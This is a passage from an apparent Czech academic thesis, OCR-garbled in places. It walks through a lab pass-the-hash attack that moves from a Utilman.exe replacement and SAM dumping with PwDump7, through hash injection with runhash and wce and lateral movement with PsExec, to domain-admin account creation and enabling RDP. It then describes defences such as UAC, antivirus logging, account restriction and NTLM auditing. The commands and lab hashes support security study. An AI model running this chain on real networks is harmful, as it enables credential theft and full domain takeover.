z U S B disku. V něm byl původn í soubor Utilman.exe pře jmenován a byla vy tvořena 

kopie nás t ro je cmd.exe, jež byla po jmenována jako původn í soubor - Utilman.exe. 

Nyní , když je poč í tač res tar tován, je možné spustit př íkazovou řádkou stejnou 

ikonou jak na obr. 5.7. 

Jelikož není př ihlášen žádný uživatel, nejsou příkazové řádce př idělena žádná 

omezená oprávnění a je tedy spuš těna s admin i s t r á to r skými právy. 
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Obr. 5.8: spuš tění příkazové ř ádky s admin i s t r á to r skými právy 

Nyní byly použi ty př íkazy 

net user Attacker attacker /add, 

net localgroup administrators Attacker /add 

P r v n í př íkaz vytvoři l uživatelský účet Attacker a přidělil mu heslo attacker. V dru­

hém kroku byla tomuto ú č t u př idělena admin i s t r á to rksá práva. 

Není nu tné vy tváře t p ř ímo nový uživatelský účet . Z příkazové ř ádky je možné 

změni t heslo či oprávnění u stávajících úč tů , p ř ípadně povolit původně zakázaný 

admin i s t r á to r ský účet . 

5.2.2 Nastavení úč tu Attacker 

Jelikož při demonstraci bude n u t n é přenáše t zkopírované soubory po t ř ebné pro ex­

trakci S A M da tabáze , je t ř eba vytvoř i t vytvoř i t sdílenou síťovou složku, kam budou 

soubory umístěny. T y je možné také extrahovat vzdáleně, ovšem v tom př ípadě je 

ú točník vystaven nebezpečí , že na kompromi tované stanici běží ant ivirová ochrana, 

k t e rá program pro extrakci může detekovat. 

Pro zkopírování da t abáze se používá pouze nás t ro jů pro správu regis t rů integro­

vaných do sys tému Windows, takže na vzdálené stanici ant ivirový program nikdy 

nevygeneruje pop lašnou zprávu. P ř e d p o k l á d á se, že ú točn ík m á kontrolu nad P C I , 

tud íž je na n ě m antivirová ochrana zakázána . 
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N a P C I byla vy tvořena tedy složka 

C:\Attacker-files, 

v níž byla omezena opravení . K e složce m á plný p ř í s tup pouze uživatel Attacker 

viz obr. 5.9. 

C:\Users\Attacker>net share 

Název 
s d í l e n é 
p o l o ž k y P r o s t ř e d e k P o z n á m k a 

IPCS 
CS C: S 
ADMINS C:\Uindows 
Attacker-f i l e s 

C :SAttacker-files 
P r í k a z b y l úsp ě š n ě d o k o n č e n . 

U z d á l e n ý IPC 
U ý c h o z í s d í l e n á p o l o ž k a 
U z d á l e n ý s p r á u c e 

C:\Users\Attacker>net share a t t a c k e r - f i l e s 
Názeu s d í l e n é p o l o ž k y 
Cesta 
P o z n á m k a 
Maximum u ž i v a t e l ů 
Users 
U k l á d á n í do m e z i p a m ě t i 
O p r á v n ě n í 

Pří k a z b y l úsp ě š n ě d o k o n č e n . 

Attacker—f i l e s 
C:\Attacker-f i l e s 

Bez o m e z e n í 

R u č n í u k l á d á n í dokumentu do m e z i p a m ě t i 
PCISAttacker, FULL 

Obr. 5.9: Oprávněn í sdílené složky 

Pro vzdálený p ř í s tup k dané složce je ovšem nu tné se autentizovat jako uživatel 

Attacker, a tud íž musí být uživatelskému úč tu př iděleno i heslo. To bylo nastaveno 

již v předchozích krocích. 

5.2.3 Získání hashe hesel na P C I 

K získání po t řebých souborů pro extrakci hashe ze S A M da t abáze byl využit skřip 

popsaný v kapitole 4.1.6. Změněna byla pouze složka, kam se záloha větev regis t rů 

uloží. J e d n á se o složku „Attacker-files". Název uk ládaných souborů byl změněn na 

S A M P C l . f i l e a S Y S T E M P C l . f i l e 

Po úspěšném spuš tění skriptu se po t ř ebné soubory nachází ve zvolené složce a je 

možné provést jejich extrakci pomocí programu pwdump a získat tak uživatelská 

j m é n a a hash odpovídající jejich heslům. 

Ex t rahován í se provede př íkazem: 

PwDump7.exe -s C:\Attacker-files\SAMPCl  

C:\Attacker-files\SYSTEMPCl > PClhash.txt 
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C : \ f t t t a c k e r - f i le s >t y pe P C l h a s h . t x t 

Admin i s t ra tor :500:NO PASSWORD 
Guest:501:NO PASSUOBD«»«»»»»«: 
A05:1000:NO PASSWORD**™*™**** 
Attacker:1001:NO PASSWORD**** 

*********:31D6CFE0D16AE931B73C59D7E0C089C0::: 
*:N0 P A S S » O R D « « « « « « " « " « « « « « « " « « « « « : : : 
:7919BF72242D9E781C6244886F4D648A::: 
*****:9306168C2CC4FD6A0EB3849114F58098::: 

Obr. 5.10: Hash uživatelských hesel na P C I 

a získané hashe budou uloženy do tex tového souboru local.txt. Jeho obsah je 

zobrazen na obr. 5.10 

Nyní již byly získány všechny po t ř ebné údaje k provedení ú toku pass the hash 

a získání kontroly nad stanicemi, na k te rých se vyskytuje účet A05. 

5.2.4 Pass the hash na stanici P C 2 

K provedení ú toku pass the hash byl použi t program runhash.exe (viz 5.2.4), k terý 

vk ládá získaný hash do p a m ě t i procesu lsass.exe. 

Nejprve byl řádek v z ískaném tex tovém souboru s uživate lským j m é n e m A05 

upraven tak, aby odpovídal formátu podporovanému programem runhash.exe. Bylo 

tedy n u t n é nahradit řetězec N O p A S S W O R D * * * * * * * * * * * * * * * * * * * * * označující ne­

př í tomnos t L M hashe odpovídaj íc ím p o č t e m 0. 

Po té byl již spuš těn s amos t a tný program runhash se specifikovaným hashem 

a parametrem „cmd.exe" , k t e rý označuje program, jenž bude spuš těn pod zvoleným 

uživate lským jménem. 

V nově o tevřeném okně bylo ověřeno spuš těn ím programu wce.exe, že byla sku­

tečně vy tvořena nová uživatelská relace se z a d a n ý m hashem. 

C:\>runhasJi32.exe A05 :1000:00000000000000000000000000000000:7919BF72242D9E781C6244886F4D648A : : : 
cmd.exe 

RunhAsh u l . 0 - Copyright CO 2010 Bjorn B r o l i n , Truesec (uuu.truesec.con) 
Username: A05 
Domain: . 
S tart ing proces s . . . Done? 
Found Lsass p id : 500 
Lsass process open 
Searching for matching token s e c r e t s . . . 
Found possible primary token 
Found r e a l token 
Found match 
Patching token s e c r e t s . . . Done? 

rani Spravte: C:\Window5\system52\crnd.eKe 

C:\>wce.exe 

UCE ul.42beta (IJindous Credentials Edi tor ) — <c> 2010-2013 Amplia Security - by Hernan Ocboa 

Use —h for help. 
A05:.:00000000000000000000000000000000:7919BF72242D9E781C6244886F4D648A 
Attacker:PCI:EFA24F4DBD1A3EA4944E2DF489A880E4:9306168C2CC4FD6A0EB3849114F58098 

Obr. 5.11: Spuštění programu cmd.exe pod uživate lským ú č t e m A05 
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Jelikož je příkazová ř á d k a spuš těna pod uživatelem A05 , je nyní možné se po­

mocí ní př ipoj i t k další stanici v síti obsahující s tejného uživatele, bez nutnosti 

zadávání hesla. K tomu slouží program PSexec.exe. J e d n á se o ut i l i tu založenou na 

bázi telnetu, k t e rá umožňuje spuš tění jakéhokoliv př íkazu na vzdá leném operačn ím 

systému. 

m W192.168.1.12: cmd.exe 

C:S>PsExec.exe V\192.168.i.12 cmd.exe 

PsExec u2.1 — Execute processes r e n o t ě l y 
Copyright <C> 2001-2013 Mark Russinouich 
S y s i n t e r n a l s - uuu.sysinternals.com 

Microsoft Windows [Uerze 6.1.7600] 

Copyright íc> 2009 Microsoft C o r p o r a t i o n . U š e c h n a p r á u a vyhrazena. 

C:\UindousSsysten32>ipconfig 

Konfigurace protokolu IP s y s t é m u Uindous 

A d a p t é r s í t ě Ethernet P ř i p o j e n i k m í s t n í s í t i : 

P ř í p o n a DNS podle p ř i p o j e n í . . . : 

M í s t n í IPu6 adresa u r a n c i p r o p o j e n í . . . : f e 8 0 : : 4 8 4 : d 6 a 6 : e 5 6 7 : 5 4 2 ; í l i 
Adresa IPv4 : 192.168.1.12 
Maska p o d s í t ě : 255.255 .255.0 
U ý c h o z i b r á n a : 192.168.1.1 

C: SU in do us Ss y s t e n3 2 >uho an i 
pc2\a05 

Obr. 5.12: Ověření ú toku pass the hash na stanici P C 2 

Př íkazem 

PSexec.exe \\192.168.1.12 cmd.exe 

bude na stanici se zadanou IP adresou spuš těn cmd.exe, jenž otevře příkazovou 

ř ádku daného systému. T í m t o krokem byl získán p ř í s tup ke stanici P C 2 . Zadán ím 

př íkazu ipconfig bylo ověřeno, že příkazová ř á d k a je spuš těna na sys tému s IP ad­

resou 192.168.1.12. Zobrazení j m é n a momen tá lně př ihlášeného uživatele a názvu 

počí tače lze provést spuš těn ím whoami z příkazové řádky. Z obr. 5.12 je pa t rné , že 

ú tok pass the hash byl úspěšný a byl získán p ř í s tup k počí tači P C 2 pod uživatelským 

j m é n e m A05. 

5.2.5 Získání hashe hesel na P C 2 

Po získání p ř í s tupu na další stanici je možné ověřit, zda-li se nachází v konkré tn í 

doméně a jestli na ní existují nějaké doménové účty. T y předs tavuj í cestu, jak se 

útočník může dostat až k nejvyššímu doménovému ú č t u admin i s t á ro t r a a získat 

p ř í s tup ke všem s lužbám v doméně. 
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Jestli je stanice členem domény, lze ověřit p ř íkazem systeminfo a vyhledán ím 

řádku s názvem domény. V př ípadě , že se stanice nachází v doméně , je možné si 

nechat zobrazit z adán ím „net user /domain" veškeré doménové úč ty nacházející se 

na kompromi tované stanici. 

C:\Uindous\System32>systeminfo 

Název h o s t i t e l e : PC2 
Název o p e r a č n í h o s y s t é m u : Microsoft Uindows 7 Ultimate 
Doména: pthlab.com 
P ř i h l a š o v a c í server: WSERUER 

C : \ l í i n d o u s \ S y s t e m 3 2 > n e t user /domain 

P o ž a d a v e k bude z p r a c o v á n na p r i m á r n í m ř a d i č i domény pthlab.com. 

U ž i v a t e l s k é ú č t y pro Wserver .p th lab . com  

BOS Guest 

Obr. 5.13: Zobrazení doménových ú č t ů 

Z obr. 5.13 je pa t rné , že stanice P C 2 se nachází v doméně pthlab.com a obsahuje 

jeden doménový účet s názvem B05. 

Nyní je možné o b d o b n ý m způsobem získat hash ú č t u B05 a následně jej využí t 

pro získání kontroly nad p r v n í m doménovým úč tem. 

Spuš těn ím jednot l ivých př íkazů 

reg.exe save HKLM\SYSTEM C:\SYSTEMPC2, 

reg.exe save HKLM\SAM C:\SAMPC2 

ze skriptu C o p y S A M se zkopíruje S A M da t abáze do složky C: na vzdá leném počí tači . 

Nyní je t ř e b a tyto soubory přenés t na poč í tač ú točn íka pro bezpečnou extrakci. 

K tomu byla využ i ta sdílená složka Attacker-files, jejíž př ipojení na P C 2 se provede 

zadáním: 

net use x: \\192.168.1.ll\Attacker-files /user:Attacker attacker. 

Parametr „x:" označuje p ísmeno, pod j a k ý m bude složka namapována , 

,,/user:Attacker attacker" představuj í uživatelské j m é n o a heslo n u t n é k p ř í s tupu 

k dané složce. 

Po úspěšném namapován í síťové položky je možné získanou S A M da tabáz i zko­

pírovat pomocí nás t ro je xcopy se sytaxí: 

xcopy <zdrojový_soubor> <cílový_adresář>, 

kde <zdrojový_soubor> přestavuje získané soubory S A M P C 2 a S Y S T E M P C 2 a cí­

lový adresář n a m a p o v a n ý síťový disk, tedy „X:". 
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Po úspěšném zkopírování souborů na útočníkovu stanici je možné síťový disk 

opět odpojit př íkazem: 

net use x: /delete. 

Nyní byly zkopírované soubory ex t rahovány obdobně jako v kapitole 5.2.3 a vý­

stup zapsán do souboru PC2hash.txt: 

PwDump7.exe -s C:\Attacker-files\SAMPC2  

C:\Attacker-files\SYSTEMPC2 > PC2hash.txt 

Získané hashe ze stanice P C 2 jsou zobrazeny na obr. 5.14 

C:\ f t t t ac ke r - f i le s >t ype PC2hash . tx t 

Hdminis trator:G00:NO PASSWORD 
Guest: 501: NO Fň S S WORD XXMXMXXX 
B05:1000:NO PASS HORD « « ' " " " " " " ' 
H05:1001:NO PflSSUORD********* 

MXMXKXKxx:3lD6CFE0D16flE931B73C59D7E0C0B9C0:: : 
*:N0 PflSSUORDKMKMKMxxxxxxxxxxxxxxx::: 
:3026D3BA758865flDC9998BB66F235D99::: 
:7919BF72242D9E781C6244886F4D648fi::: 

Obr. 5.14: Hash uživatelských hesel na P C 2 

5.2.6 Pass the hash na stanici P C 3 

Nejprve musel být řádek v získaném tex tovém souboru s uživate lským j m é n e m B05 

opět upraven tak, aby mohl bý t použi t programem runhash.exe. 

Jelikož se ovšem j e d n á o doménový účet , je n u t n é specifikovat p o t ř e b n o u doménu. 

Její název byl ú točn íkem zjištěn v kapitole 5.2.5. 

C:\>runhash32.exe pthlab.com\B05:1000:00000000000000000000000000000000:3026D3BA758865ADC9998BB66F235D99::: 
cmd.exe 

RunhAsh ul.0 - Copyright <C> 2010 Bjorn B r o l i n , Truesec (www.truesec.couO 
Usernane: B05 
Domain: pthlab.con 
St a r t i n g process... Done! 
Found Lsass pid: 500 
Lsass process open 
Searching f o r matching token s e c r e t s . . . 
Found possible primary token 
Found r e a l token 
Found possible primary token 
Found r e a l token 
Found possible primary token 
Found r e a l token 
Found natch 
Patching token s e c r e t s . . . Done? 

rani Správce: C:\Window5\syFtem32\cmd.eKe 

C:S>wce-exe 

UCE ul.42beta (Windows Credentials Editor) - <c> 2010-2013 Amplia Security 

Use -h f o r help. 

B05:pt hlab.c o m:00000000000000000000000000000000:3026D3 BA 75 8 8 6 5 A DC9 9 9 8 BB6 £F2 3 5 D9 9 
Attacker:PCl:EFA24F4DBDiA3EA4944E2DF489A880E4:9306168C2CC4FD6A0EB3849114F58098 

Obr. 5.15: Spuštění programu cmd.exe pod doménovým uživate lským ú č t e m B05 
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Parametr tedy bude vypadat následovně: 

pthlab.com\B05:1000:00000000000000000000000000000000: 

3026D3BA758865ADC9998BB66F235D99::: 

Poté byl již spuš těn s amos t a tný program runhash se stejnými parametry jako 

v kapitole 5.2.4. Ověření proběhlo o b d o b n ý m způsobem, tedy zobrazením akt ivních 

relací pomocí wce.exe (obr. 5.15). 

Pro spuš tění příkazové ř á d k y na vzdálené stanici s IP adresou 192.168.1.13 ob­

sahující stejný doménový účet B05, byl opět využi t nás t ro j Psexec. 

C: SUindowsSsiísten32 >ipconf i g 

Konfigurace protokolu IP s y s t é m u Mindous 

A d a p t é r s í t ě Ethernet P ř i p o j e n í k m í s t n í s í t i : 

P ř í p o n a DNS podle p ř i p o j e n í : 
M í s t n í IPu6 adresa u r á m c i p r o p o j e n í . . . : fe80: :5c31:4b27:6f44:7dc9>íll 
Adresa IPu4 : 192.168.1.13 
Maska p o d s í t ě : 255 .255.255.0 
U ý c h o z i b r á n a : 192.168.1.1 

C:SUindousSsystem32 >whoami 
pthlabSbBS 

Obr. 5.16: Ověření ú toku pass the hash na stanici P C 3 

Úspěšné provedení ú t o k u je zobrazeno na obr. 5.16. Po zadán í „whoami" je 

pa t rné , že ú točn ík se úspěšně přihlásil na doménový účet B05 na stanici P C 3 . 

5.2.7 P ř í s t u p na server 

Jelikož je známé , že serveru v testovací doméně byla p ř i řazena role souborového 

serveru, je možné si nechat zobrazit př ipojené síťové disky daného uživatele. 

K tomu slouží př íkaz 

net use. 

Výs tup je uveden na obr. 5.3. Je tedy pa t rné , že uživatel B05 m á na serveru 

složku se soubory, ke k t e r ý m m á př í s tup pouze on. 

Po zobrazení obsahu složky je ú točn íkův p ř í s tup k souborům otes tován o tevřením 

tex tového souboru v př ís lušném adresář i . 

Nyní byl získán p ř í s tup k p r ivá tn ím souborům uživatele B05 a ú točn ík si je může 

zkopírovat o b d o b n ý m způsobem, jak tomu bylo v př ípadě kopírování nově získané 

S A M da tabáze . 
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C:\UindowsSSystem32>net use 

Stau M í s t n í U z d á l e n é S í ť o u é 

OK Z: S\seruer\B05-files Microsoft Windows Network 
P ř í k a z b y l ú s p ě š n ě d o k o n č e n . 

C:\Uindows\System32>dir Z:S 

Uý p i s a d r e s á ř e Z:\ 

30.03.2014 12:39 <DIR> 
30.03.2014 12:39 <DIR> 
12.04.2014 20:52 61 B05.txt 

Souboru: 1, Bajtu: 61 
A d r e s á ř ů : 2, U o l n ý c h b a j t u : 11 203 502 080 

C:\Uindows\System32>type Z:\B05.txt 

Praue b y l ziskan p ř i s t u p k souborun uziuatele B05 na serueru. 

Obr. 5.17: Zobrazení souborů uživatele B05 na serveru 

5.2.8 Získání hashe hesel na P C 3 

S A M da tabáz i ze stanic obsahujících stejný uživatelský účet jako na již kompro-

mitovaných stanicích v síti lze získat t aké vzdáleně. V př ípadě , že ú točn ík provede 

ú tok pass the hash a poda ř í se mu úspěšně otevří t př íkazovou ř ádku s nově vytvoře­

nou uživatelskou relací daného uživatele, může v ní za využi t í nás t ro je pwdump.exe 

specifikovat IP adresu vzdálené stanice, ze k teré p roběhne výpis ze S A M da tabáze . 

Útočník nebude muset zadávat uživatelské j m é n o a heslo, jelikož příkazová ř ádka 

je již spuš těna s po t ř ebnými oprávněními uživatele na vzdáleném počí tači . 

Výpis ze S A M da t abáze se provede př íkazem: 

PwDump.exe -s admin$$ 192.168.1.13 > PC3hash.txt 

Parametr ,,-s admin$" značí defaultní sdílenou síťovou položku, z níž bude pro­

gram spouštěn . Výs tup byl obdobně jak v předchozích př ípadech zapsán do souboru 

PC3hash.txt . 

Jeho obsah je zobrazen na obr. 5.18. 

C : \ f t t t a c k e r - f i l e s>type PC31iash.txt 

Hdminis trator:500:NO PHSSU0HDKKic1.Ki.Kic1.ici.Kic1.ici.Ki.1.ic1.:HBBFD9Ha32CF5B38CF6BF7BilFai653C: : : 
BBS:1000:NO PhSSUORDMXMKKHKHMKHKHMHKKHKH*:3026D3Bň758865ADC9998BB66F235D99::: 
Guest:501:NO Pfl S S HORD " " " ' " " " " " " " " " " " " " " " " " ' i NO Pfl S S HORD : : 

Obr. 5.18: Hash uživatelských hesel na P C 3 

Tento postup ovšem není vh odný do prost ředí , kde je nasazena antivirová ochrana. 

Jelikož program Pwdump.exe byl při vzdá leném spuštění odhalen t éměř všemi testo­

vanými ant iv i rovými programy (viz 4.5), je vhodné pro provedení ú toku použí t opě t 
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skript pro zálohu větev registrů a následně zkopírovanou S A M da tabáz i extrahovat 

již na nezabezpečené útočníkově stanici. 

5.2.9 Pass the hash na server 

Ze získaného souboru je pa t rné , že stanice P C 3 obsahuje kromě ú č t u B05 také A d ­

min is t rá to rský účet , jehož hodnota N T L M hahse již neodpovídá p r á z d n é m u heslu, 

a je tedy zřejmé, že je akt ivní . 

Následně bylo s te jným př íkazem jak v 5.2.5 ověřeno, že účet Admin i s t r á to r je 

také doménový. Nyní m á již ú točn ík veškeré po t ř ebné informace k provedení ú toku 

pass the hash a získání kontroly nad celou doménou. 

Útok pass the hash byl proveden o b d o b n ý m způsobem jak v kapitole 5.2.6. Pouze 

parametr specifikující uživatele a jeho hash byl nahrazen údaji o z ískaném admi-

n is t rá to rském účtu . Po získání kontroly nad Admin i s t r á to rksým ú č t e m a úspěš­

ném vzdá leném př ipojení na server byla ověřena správnost ú toku opět př íkazem 

„whoami" (viz 5.19). 

C:\Uindous\system32>uhoami 

pt h l a b \ a d n i n i s t r a t o r 

C: \Uindous \ sys tem32>ipconf ig 
Ethernet adapter L o c a l Area Connect ion: 

C o n n e c t i o n - s p e c i f i c DNS S u f f i x . : 
L i n k - l o c a l IPu6 flddress : f e 8 0 : : 5 1 c 2 : a f 7 1 : 9 6 0 7 : 7 3 5 b > í 9 
IPu4 flddress : 192.168.1.1 
Subnet Mask : 255.255.255.0 
Defau l t Gateuay : 0 . 0 . 0 . 0 

C:\Uindous\s i i s tem32>nltest / d c l i s t : p t h l a b . c o n 

Get l i s t of DCs in do na in ' p t h l a b . con' f r o n ' W s e r u e r . p t h l a b . con' . 
s e r v e r . p t h l a b . c o n [PDC] [DE] S i t e : D e f a u l t - F i r s t - S i t e - N a m e 

Obr. 5.19: Ověření ú toku pass the hash na server a zobrazení p r imárn ího doméno­

vého kontroléru 

V př ípadě , že se ve firemním pros t řed í nachází více doménových kontrolérů, je 

vhodné ověřit, zdali se j e d n á o kontrolér p r imárn í . V př ípadě , že ne, ú točn ík může 

p o d o b n ý m způsobem pokračovat v postupu přes síť, než se dostane k ž á d a n é m u 

p r imárn ímu kontroléru. 

To bylo provedeno př íkazem: 

nltest /dclist:pthlab.com 
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Ve v ý s t u p u je u názvu serveru uvedena položka [PDC] označující p r imárn í do­

ménový kontrolér (obr. 5.19). Je tedy pa t rné , že v tes tovacím pros t řed í se nachází 

pouze jeden doménový kontrolér , k te rý zároveň slouží jako pr imárn í . 

5.2.10 Plný př í s tup na server 

Jelikož možnost i kontroly nad serverem pouze z příkazové ř ádky jsou dosti omezené, 

p ř ípadně složité, je vhodné aby si ú točn ík umožni l p ř í s tup přes grafické rozhraní , 

tedy vzdálenou plochu. Ve většině p ř ípadů je tohle způsob, jak je k serverům při­

s tupováno. 

Pro získání p ř í s tupu přes vzdálenou plochu je nejprve nu tné , aby si ú točník 

vytvoři l svůj v las tn í uživatelský účet . P ro tože m á již oprávnění doménového admi­

n is t rá tora , účet je vy tvořen př íkazem 

net user <jméno> <heslo> /add 

C:\>net user Attacker 
User name Attacker 
Password last set 4/13/2014 12:28:59 PM 
Password expires 5/25/2014 12:28:59 PM 
Password changeable 4/14/2014 12:28:59 PM 
Password required Ves 
User nay change password Ves 

Workstations allowed A l l 

Logon hours allowed A l l 

Local Group Memberships "Administrators "Remote Desktop Users 
Global Group memberships "Domain Users "Domain Admins 

Obr. 5.20: P ř idán í uřivatele Attacker do po t ř ebných skupin 

V tes tovacím pros t ředí byl p ř idán uživatelský účet Attacker, k t e r ému bylo př idě­

leno heslo „At t@cker l23" . Jelikož nově vy tvořenému úč tu chybí p o t ř e b n á oprávnění , 

je n u t n é jej p ř ida t do příslušných skupin, aby ú točn ík po přihlášení získal p lný ad-

min is t rá to rksý p ř í s tup . J e d n á se o skupiny: 

• Local administrators - k získání p ráv pro lokální správu serveru. 

net localgroup administrators PTHLAB\Attacker /add 

• Domain administrators - k získání p ráv pro správu celé domény. 

net group "'Domain Admins'" Attacker /add /DOMAIN 

• Remote desktop users - k povolení p ř í s tupu přes vzdálenou plochu. 
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net localgroup "Remote Desktop Users" Attacker /add 

V př ípadě , že k serveru není z bezpečnos tn í důvodů povolen p ř í s tup přes vzdále­

nou plochu, je možné úpravou hodnot v registrech tento př í s tup povolit. Nas taven ím 

p roměnné „ fDenyTSConnect ions" na hodnotu 0 se povolí jakýkoliv vzdálený p ř í s tup 

na konkré tn í stanici. P r o m ě n n á se nachází v uzlu: 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server. 

Pro úp ravu po t ř ebné hodnoty v registrech přes příkazovou ř ádku byl spuš těn 

příkaz: 

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ 

Terminal Server" /v fDenyTSConnections /t REG_DW0RD /d 0 /f. 

Nyní je již ú točn íkův účet plně nakonfigurován a je možné se na server připoj i t 

přes vzdálenou plochu. 

Obr. 5.21: P ř í s t u p přes vzdálenou plochu 

V tomto b o d ě byl již získán plný p ř í s tup ke všem funkcím serveru a ú točník 

tedy převzal kontrolu nad celou doménou vč. všech stanic v ní obsažených. Jelikož 

m á př idělená práva doménového admin i s t r á to ra , může dále označovat další domény 

za důvěryhodné a postupovat v ú toku do dalších domén obsažených ve stromové 

s t ruk tu ře . 
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5.3 Zabezpečení 
Zabezpečení testovací sítě proti ú toku pass the hash bylo rozděleno do t ř í skupin: 

• znemožnění získání admin is t rá to rských práv. 

• zamezení spuš tění škodlivého souboru, 

• omezení uživatelských ú č t ů a p ř í s tupu . 

5.3.1 Znemožnění získání adminis t rá torských práv 

Pro úspěšné provedení ú toku pass the hash jsou zapot řeb í admin i s t r á to r ská práva. 

Jejich ochrana je j edn ím z nej důležitějších a spek tů zabezpečení sítě. 

Jelikož není možné , aby na všech stanicích v síti nebyly povoleny ani jednomu 

uživateli admin i s t r á to r ská práva, je vhodné povolit U A C - User Account Control. 

Jak již bylo zmíněno dříve, úč ty běží s danými oprávněními ale jestliže je detekováno 

spuš tění programu, k te rý tato práva vyžaduje a může provádět změny v počí tači , je 

uživatel vyzván, aby se jako admin i s t r á to r autentizoval. 

Služba U A C byla povolena na všech stanicích v testovací síti. 

ý Řízení uživatelských účtů 

i I | Chcete následujícímu programu od neznámého 
v y vydavatele povolit p rovedení zmen v tomto poč počítací 

Název programu: runhashBZexe 

Ověřený vydavatel: Neznámý 

Původ souboru: Pevný disk v tomto počítači 

Chcete-li pokračovat zadejte heslo správce a klikněte na tlačítko Ano. 

A05 

Heslo Heslo 

^ ) Zobrazit podrobnosti Ano Ne 

Obr. 5.22: Výzva k autentizaci při spuš tění programu runhash.exe 

5.3.2 Zamezení spuštění škodlivého souboru 

Nyní se již p ředpokládá , že ú točn ík získal p ř í s tup ke zvolené stanici v síti. N a veškeré 

stanice byla na ins ta lována nejnovější verze antivirové ochrany A V G Antivirus . Jak 
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již bylo dokázáno v kapitole 4.3, ant ivirová ochrana je schopna detekovat větš inu 

nás t ro jů po t řebných pro uskutečnění ú toku . 

avast! Štít souborového systému zablokoval útok. 
Žádná další akce není nutná. 

0 bj e kt: C:\U se rs\A0 5\D e skto p\,, ,\PwD u m p, exe 

Infekce: Win32:Malware-gen 

Akce: Přesunut do truhly 

Proces: C:\Windows\Explorer.EXE 

Hrozba byla detekována a zablokována při vytvoření 
nebo změně souboru. 

Nahlásit soubor jako falešný poplach 

CS . 19t30 
17.5.2014 

Obr. 5.23: Detekce nás t ro je Pwdump ant iv i rovým programem 

Jelikož jsou pro spuš tění ú toku p o t ř e b n á alespoň lokální admin i s t r á to r ská práva, 

ú točník je již musel dříve získat. Z toho důvodu tato ochrana neposkytuje po t ř ebný 

s t upeň bezpečnost i , protože s danými p rávy je možné j i j ednoduše deaktivovat. 

Druhý prob lém tkv í v použi t í nás t ro jů , k te ré jsou již integrovány do sys tému W i n ­

dows, a nebudou tedy nikdy detekovány jako škodlivé, p ř ípadně nás t ro jů , jež obsa­

hují kód, k te rý ant ivirový program není schopný detekovat. 

Ochrana by měla t aké spočívat v pravide lném zasílání logů antiviru na server 

a jejich kontrole pro nežádoucí akce. N a následujícím obrázku je pa t rné , že byl 

detekován pokus o spuš tění nás t ro je Pwdump. 

5.2014 19:12:37 
5.2014 19:12:37 
5.2014 19:12:37 
5.2014 19:12:37 

Processing f i l e C:\Users\AQ5\Desktop\pwdump7\PwDump7.exe. 
—> Finished [0] [processing took 0 ms]. 

processing f i l e c:\users\A05\Desktop\pwdump7\libeay32.dll 
—> Finished [0] [processing took 0 ms]. 

Obr. 5.24: Záznam z logu ant ivirového programu 
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5.4 Omezení uživatelských účtů a př í s tupu 
Zamezení ú toku po úspěšném získání admin is t rá to rských p ráv je již t éměř nemožné. 

V tom př ípadě je n u t n é d b á t na omezení množs tv í uživatelských ú č t ů s adminis t rá ­

to rskými p rávy a jejich p ř í s tup ke s tanic ím v síti. V praxi to znamená , že stejné 

uživatelksé úč ty by neměly existovat na vícero stanicích. T í m t o je útočníkovi zame­

zen postup sítí, jelikož nemůže získat p ř í s tup k dalš ím p o t ř e b n ý m h a s h ů m hesel. 

Testovací síť byla upravena následovně: 

• Správci domény byl omezen p ř í s tup pouze na doménové kontroléry. 

• N a každé stanici byly vytvořeny jedinečné uživatelské účty. 

• Všechny úč ty mají oprávnění pouze s t a n d a r t n í h o uživatele. 

Upravená testovací síť v y p a d á následovně: 

Obr. 5.25: Uravená navržená síť 

Následně byl na všechny počí tače v síti (kromě serveru) zakázán vzdálený p ř í s tup 

přes síť. Nas tavení bylo provedeno v konzoli „Místní zásady zabezpečení" , kde byla 

edi tována pol i t ika pro vzdálený p ř í s tup , ze k teré byly odebrány veškeré uživatelské 

skupiny. 

Toto nas tavení zapříčiní , že ú točn ík nebude moci využí t nás t ro je PSexec pro 

vzdálený p ř í s tup s podvrženými přihlašovacími údaji . Je ovšem také d b á t na to, že 
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po vyřazení vzdáleného p ř í s tupu budou ovlivněny všechny síťové služby, k teré na 

dané stanici běží (např. sdílení souborů) . Tohle nas tavení je tedy t ř e b a provádět 

velmi obezře tně a se znalost í fungování celé sítě. 

C:\>PsExec.exe W192.168.1.12 cnd.exe 

PsExec u2.1 — Execute processes remotely 
Copyright <C> 2001-2013 Mark Russinou ich 
Sysinternals - www.svsinternals.com 

Couldn't access 192.168.1.12: 
P°ihlaUouac¥ chyba: Uxiuate±i nebyl v tonto p o Ŕ V t a í i i udýlen p o x a d o u a n ř typ p°ihl 
P U e n ý . 

Obr. 5.26: Zamezení vzdáleného p ř í s tupu na stanici P C 2 přes PSexec 

N a serveru toto nas tavení není možné, jelikož jeho cílem je zprost ředkovat sí­

ťové služby. Je tedy zapot řeb í nastavit vhodnou př í s tupovou poli t iku. P ř í s t u p přes 

vzdálenou plochu byl povolen pouze skupině doménových admin i s t r á to rů , ve které 

se v ukázkovém př ípadě nachází pouze uživatel Domain Admin i s t rá to r . Os t a tn í uži­

vatelé byl i př i řazeni do skupiny, k teré by l zakázán p ř í s tup přes vzdálenou plochu, 

ovšem ponechána možnost př ipoj i t se za využi t ím poskytovaných služeb. 

Toho bylo dosaženo vy tvořen ím skupiny File access, do které byl i p ř idáni uži­

vatelé B05 a C05. Za využi t í funkce „Delegation of Contro l" bylo nastaveno, že 

každému členu d a n é skupiny budou př idělena práva pouze na př í s tup ke sdíleným 

souborům na serveru. 

Dále byla na serveru také vy tvořena pol i t ika úč tů tak, že je doménové heslo 

p la tné pouze po urči tý čas (30 dní) . P o t é je uživatel vyzván k jeho změně. 

Jako poslední bod zabezpečení existuje také možnos t provádět autentizaci uživa­

tele pouze přes protokol Kerberos. Po př i řazení serveru do role doménového řadiče je 

v p ů v o d n í m stavu vždy používán protokol Kerberos, ovšem je povolena autentizace 

i přes N T L M . Pro zrušení N T L M autentizace byly upraveny následující položky 

v editoru lokální př ís tupové politiky. 

Toto řešení není ovšem nejvhodnější , v síti mohou existovat služby nebo stránky, 

k teré vyžaduj í ověření pouze přes protokol N T L M , a jeho zakázán ím dojde k ode­

pření p ř í s tupu . Vhodnějš í řešení je povolit audit pro veškerý N T L M provoz a v pří­

padě podezřen í na ú tok je možné z pořízených záznamů vyčíst po t ř ebné údaje o pro­

běhlé autentizaci i to, j aký protokol byl použi t . 

Z demonstrace ú toku je pa t rné , že největší důraz by měl být kladen právě na 

